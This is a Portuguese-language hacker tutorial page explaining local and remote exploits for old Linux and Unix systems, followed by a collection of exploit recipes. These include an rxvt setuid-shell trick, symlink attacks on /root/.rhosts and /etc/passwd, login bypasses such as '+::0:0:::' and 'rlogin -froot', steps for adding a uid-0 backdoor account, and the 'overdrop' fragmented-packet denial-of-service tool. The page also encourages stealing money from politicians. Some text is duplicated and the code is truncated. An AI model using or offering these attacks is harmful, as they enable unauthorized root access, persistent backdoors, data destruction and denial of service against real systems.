O que são exploits?
A palavra mesmo já dá uma idéia do que seja... explorar... explorar o que? Explorar vunerabilidades de sistemas, saca? Tipo, se existe um bug no Outlook Express que quando você manda uma msg, pra alguem que usa ele pra receber email, com o assunto (subject) com mais de 5000 caracteres ele trava, então fazem exploits ou voce mesmo pode fazer que explora essa vunerabilidade, saca... um exploit pode ser um programa ou mesmo só o codigo dele que voce pode compilar em seu computador. Compilar é pegar seu codigo fonte e faze-lo ficar executável... programação saca.... Para que servem? Vélho, pense assim, pô, se existe um erro, a gente pode explora-lo para beneficio próprio, saca. Tipo existia um erro num sendmail aí que você podia anexar a qualquer email o próprio arquivo de senhas do servidor, então fizeram um exploit para fazer isso com mais facilidade e muito mais êxito saca... com o exploit voce precisaria apenas falar pra que email era pra enviar o arquivo de senhas e o exploit fazia o resto... essa manha do sendmail já foi arrumada a um tempão viu.... existem muito erros em programas por aí que podemos exploita-los saca... "Regras!" Não é bem uma regra, porque essa não existe pra ser quebrada. Você pode usar vários exploits que existem por aí, mas nunca em benefício do mau saca. Voce não tem o direito de usar a porra de um exploit, q uma pessoa regaço os neuronios pra faze-lo, pra chegar e derrubar um site pra o seu encher de visitas. Esse não é a ideologia de quem faz exploits, eles existem pra denunciar as inseguranças, para que pessoas usem eles para fazerem algo de bom saca... Que tal você pegar e tranferir uma grana de um politico desses aí pra uma instituiçao dessas massa... o q acha. Não se esqueça de que usando apenas exploits você não estará fazendo um ataque completamente seu, a maioria do ataque foi feito pelo carinha q fez o exploit. Crie, nao copie! Onde econtra-los? Existe alguns sites que publicam exploits, e você mesmo pode publicar o seu neles. Tipo, tem a RootShell, que é estrangeiro, mas muito bom o site, apesar de tá fraquinho hoje em dia. Tem tb o a Securenet que é Brasileiro, e muito bom por sinal, vários exploits. Mais um pouco de exploits EXPLOIT Exploits locais são programas geralmente feitos em C que explorarm a vulnerabilidade de programas e sistemas para ganhar acesso root ( de administrador ) , 90% dos exploits são para sistemas Linux , os exploits locais são scripts em C que vc irá rodar no servidor a partir de uma shell adquirida , os exploits locais são os melhores de se usar , pela sua variedade e confiaça de acesso ( desde que voce saiba o que está fazendo ) , alguns possuem pequenos trojans para dar acesso ao seu desenvolvedor , o que acho importante de se saber C para vc não se dar mal , mais isso é bom pq ferra os Lahma tbm : ) . Existem varios tipos de exploits locais , uma infinidade , cada um com sua função e seu jeito de executar . O que vc vai fazer é basicamente o seguinte , voce irá copiar o exploit para o provedor de sua shell e depois compilar ele , para copiar voce usa um programa de FTP e para compilar voce irá usar o telnet , ( use o Linux nessa operação toda ), após ter copiado o exploit para a shell vamos compilar ele : Welcome to Linux 2.0.X Host Login : nirvana Password: Linux 2.0.X Host :~$ gcc -o exploit exploit.c
--------------------
1
Exploits locais são programas geralmente feitos em C que exploram a vulnerabilidade de programas e sistemas para ganhar acesso root ( de administrador ) , 90% dos exploits são para sistemas Linux , os exploits locais são scripts em C que você irá rodar no servidor a partir de uma shell adquirida , os exploits locais são os melhores de se usar , pela sua variedade e confiança de acesso ( desde que você saiba o que está fazendo ) , alguns possuem pequenos trojans para dar acesso ao seu programador .
Existem vários tipos de exploits locais , uma infinidade , cada um com sua função e seu jeito de executar . O que você vai fazer é basicamente o seguinte , você irá copiar o exploits para o provedor de sua shell e depois compilar ele , para copiar você usa um programa de FTP e para compilar você irá usar o telnet , ( use o Linux nessa operação toda ), após ter copiado o exploits para a shell vamos compilar ele :
Welcome to Linux 2.0.X
Host Login : nirvana
Password:
Linux 2.0.X
Host :~$ gcc -o exploits exploits.c < ----Compilando o Exploits.
Depois de compilado vamos rodá-lo para ganhar acesso root .
Host :~$ ./exploit <---Rodando o exploit no sistema.
Depois que você rodar o exploits vai aparecer uma série de Lixos , que geralmente são os Buffer Owerflows no sistema , ai logo surgirá o prompt root :
Host :~# <---Aqui tu ficou root no sistema , deu certo :) bah!!!
Agora você poderá acrescentar um usuário root para que não tenha que fazer toda essa merda de novo , você pode usar o adduser e depois colocar os 0:0 de root no passwd ou fazer diretamente pelo comando echo , o que acho mais confiável .
Host :~# echo newroot::0:1:Novo Root:/:bin/bash <<<---colocando usuário no passwd .
Se o sistema tiver shadow você acrescenta devida linha no shadow também , depois é só se logar novamente e fazer a festa . :)
Welcome to Linux 2.0.X
Host Login : newroot
Password:
Linux 2.0.X
Host :~#
ExploitS RemotoS
SecuritY
Os Exploits Remotos como já diz o próprio nome , são parecidos com os Exploits Locais , mais , não precisam de uma shell para Hackear na maquina a qual se quer Hackear , precisa é de uma base para rodá-lo , podendo ser um Linux e nunca um Windows , pois o programa é em C ou Perl e o RWindows não permite tal tarefa ; os exploits remotos exploram Bugs remotamente dando ao Hacker acesso privilegiado no sistema . O que você vai fazer é pegar o exploit , compilar ele no seu Linux e depois rodá-lo com o host ao qual vai atacar . As vulnerabilidades mais comuns usadas são as de BIND , FTP , IMAPD e POP . Você pode achar esses exploits na net , não colocarei eles aqui por motivo de segurança , ja que esta page é para fins educativos e de prevenção , e não escola de bunda mole :)
Usando o exploits :
Host :# gcc -o exploit exploit.c < ----Compilando o Exploit.
Host :# ./exploit
***************************
Exploit Remoto by Security Chaos
Use Exploit ./exploit host
***************************
Host :# ./exploit 127.0.0.1
Logo que na sua maioria ele der o buffer Owerflow remotamente no sistema ele te dará o prompt root e você poderá adicionar o seu user root .
--------------------
2
Exploitando:
1. Logue em um sistema qualquer que você tenha um account.
2. Digite no Shell:
$ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
$ chmod +x /tmp/rxbug
$ rxvt -print-pipe /tmp/rxbug
3. No rxvt xclient:
$ cat
ESC[5i
ESC[4i
4. $ /tmp/rxsh
# whoami
root
#
------------------------------------------------------------------------------
O problema do KILL MOUSE/STARTMOUSE, este comando esta na parte
dos pacotes DOOM em sistemas LINUX, ‚ só rodar estes dois scripts.
----------------------------------startmouse.sh
/usr/games/doom/startmouse.sh:
#!/bin/sh
if [ -r /tmp/gpmkilled ]; then
/usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
/bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
fi
----------------------------------startmouse.sh
----------------------------------killmouse.sh
/usr/games/doom/killmouse.sh:
#!/bin/sh
if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
fi
----------------------------------killmouse.sh
$ touch /tmp/gpmkilled
$ /usr/games/doom/startmouse
ps -aux | grep gpm
bo 1436 0.0 2.0 40 312 v03 R 16:33 0:00 grep gpm
root 1407 0.0 2.4 42 368 ? S 16:24 0:00 /usr/bin/gpm t ms
$ umask 0
$ ln -s /root/.rhosts /tmp/gpmkilled
$ /usr/games/doom/killmouse
1407 ? S 0:00 gpm t ms
$ ls -l /root/.rhosts
-rw-rw-rw- 1 root users 0 Dec 13 16:44 /root/.rhosts
$ echo localhost bo > /root/.rhosts
$ rsh -l root localhost sh -i
bash#
------------------------------------------------------------------------------
Jaeger, abre a porta do cliente, sistema FBSD, ultrix e linux
by jaeger (jaeger@dhp.com)
begin prservice.c
------------------Corte aqui
/* modified by jaeger 12Nov1996. Duplicated slack coding style.
now takes
port locuser remuser [cmd]
port remuser passwd [cmd]
where port is the dst port you wish the stderr socket to connect to
from the server to the client machine.
/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
rsh/rexec attacks. Needs to be a prog because shells strip out nulls.
args:
locuser remuser [cmd]
remuser passwd [cmd]
cmd defaults to "pwd".
... whatever. _H*/
#include
/* change if you like; "id" is a good one for figuring out if you won too */
static char cmd[] = "pwd";
static char buf [256];
main(argc, argv)
int argc;
char * argv[];
{
register int x;
register int y = 0;
char * p;
char * q;
p = buf;
memset (buf, 0, 256);
if (! argv[1])
goto wrong;
x = strlen (argv[1]);
memcpy (p, argv[1], x); /* port plus null */
x++;
p += x;
y += x;
if (! argv[2])
goto wrong;
x = strlen (argv[2]);
memcpy (p, argv[2], x); /* second arg plus null */
x++;
p += x;
y += x;
if (! argv[3])
---------------------Corte aqui
------------------------------------------------------------------------------
Usuário pode pegar o passwd, sistema linux
by Zygo Blacell (zblaxell@MIRANDA.UWATERLOO.CA)
Em um diretório onde você possa escrever, entre nele e edita um
arquivo unlinkavel. O problema esta em lpr(1)não olhe os
diretorios com (eg. /tmp)
[ patch deleted]
D'oh! It doesn't. :(
Patheie o script e zaz daqui algums dias volte l e de um lpr-s
mkdir /tmp/foobar
ln -s /etc/passwd /tmp/foobar
lpr big_huge_file
lpr -r /tmp/foobar/passwd
rm -rf /tmp/foobar ; ln -s /etc /tmp/foobar
OU
ln -fs /home/private_file /tmp/foobar/passwd # Does this work?
/etc/passwd goes away.
------------------------------------------------------------------------------
Usuário loga como ROOT, sistema linux
by Ken Weaverling (weave@hopi.dtcc.edu)
Em alguns sistemas antigos de Linux existem um bug muito escroto,
onde ‚ so colocao alguns sinais que vc loga como ROOT...
No sistema Slackware 2.3/ kernel 1.2.13. ‚ só digitar quando vc
for logar pelo telnet...
'+::0:0:::'
Sacou ‚ isto mesmo ‚ s¢ digitar no password '+::0:0:::'
------------------------------------------------------------------------------
Rlogin, usuário loga como ROOT, sistema AIX e
Linux (Slackware 3.1, Redhat 2.0-2.1) autor desconhecido bug
retirado da ROOTSHELL
:
% rlogin haxored.net -l -froot
#
------------------------------------------------------------------------------
ip_fragment.c, não sei o que faz ainda não testei, sistema
Linux 2.0.33 remandado por Michal Zalewski
----------------------ip_fragment.c
if(len>65535)
{
- printk("Oversized IP packet from %s.
", in_ntoa(qp->iph->saddr));
+ NETDEBUG(printk("Oversized IP packet from %s.
", in_ntoa(qp->iph->saddr)));
ip_statistics.IpReasmFails++;
ip_free(qp);
return NULL;
-------------------------------------------------------------------------
// overdrop by lcamtuf [Linux 2.0.33 printk abuse]
// ------------------------------------------------
// based on (reaped from) teardrop by route|daemon9
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define IP_MF 0x2000
#define IPH 0x14
#define UDPH 0x8
#define PADDING 0x1c
#define MAGIC 0x3
#define COUNT 0xBEEF
#define FRAG2 0xFFFF
void usage(char *name) {
fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ] [ -x ] (use -x for express delivery).
",name);
exit(0);
}
u_long name_resolve(char *host_name) {
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr=inet_addr(host_name))==-1) {
if (!(host_ent=gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length);
}
return (addr.s_addr);
}
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt) {
u_char *packet=NULL,*p_ptr=NULL;
u_char byte;
struct sockaddr_in sin;
sin.sin_family=AF_INET;
sin.sin_port=src_prt;
sin.sin_addr.s_addr=dst_ip;
packet=(u_char *)malloc(IPH+UDPH+PADDING);
p_ptr=packet;
bzero((u_char *)p_ptr,IPH+UDPH+PADDING);
byte=0x45;
memcpy(p_ptr,&byte,sizeof(u_char));
p_ptr+=2;
*((u_short *)p_ptr)=htons(IPH+UDPH+PADDING);
p_ptr+=2;
*((u_short *)p_ptr)=htons(242);
p_ptr+=2;
*((u_short *)p_ptr)|=htons(IP_MF);
p_ptr+=2;
*((u_short *)p_ptr)=0x40;
byte=IPPROTO_UDP;
memcpy(p_ptr+1,&byte,sizeof(u_char));
p_ptr+=4;
*((u_long *)p_ptr)=src_ip;
p_ptr+=4;
*((u_long *)p_ptr)=dst_ip;
p_ptr+=4;
*((u_short *)p_ptr)=htons(src_prt);
p_ptr+=2;
*((u_short *)p_ptr)=htons(dst_prt);
p_ptr+=2;
*((u_short *)p_ptr)=htons(8+PADDING);
if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin,
sizeof(struct sockaddr))==-1) {
perror("
sendto");
free(packet);
exit(1);
}
p_ptr=&packet[2];
*((u_short *)p_ptr)=htons(IPH+MAGIC+1);
p_ptr+=4;
*((u_short *)p_ptr)=htons(FRAG2);
if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin,
sizeof(struct sockaddr))==-1) {
perror("
sendto");
free(packet);
exit(1);
}
free(packet);
}
int main(int argc, char **argv) {
int one=1,count=0,i,rip_sock,lag=500;
u_long src_ip=0,dst_ip=0;
u_short src_prt=0,dst_prt=0;
struct in_addr addr;
fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]
");
if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc < 2) usage(argv[0]);
if (!(dst_ip=name_resolve(argv[1]))) {
fprintf(stderr,"Can't resolve destination address.
");
exit(1);
}
while ((i=getopt(argc,argv,"s:n:x"))!=EOF) {
switch (i) {
case 'n':
count = atoi(optarg);
break;
case 's':
if (!(src_ip=name_resolve(optarg))) {
fprintf(stderr,"Can't resolve source address.
");
exit(1);
}
break;
case 'x':
lag=0;
break;
default:
usage(argv[0]);
break;
}
}
srandom((unsigned)(time((time_t)0)));
if (!count) count=COUNT;
fprintf(stderr,"Sending oversized packets:
From: ");
if (!src_ip) fprintf(stderr," (random)"); else {
addr.s_addr = src_ip;
fprintf(stderr,"%15s",inet_ntoa(addr));
}
addr.s_addr = dst_ip;
fprintf(stderr,"
To: %15s
",inet_ntoa(addr));
fprintf(stderr," Amt: %5d
",count);
fprintf(stderr,"[ ");
for (i=0;i<><><><><><><><><><><><><>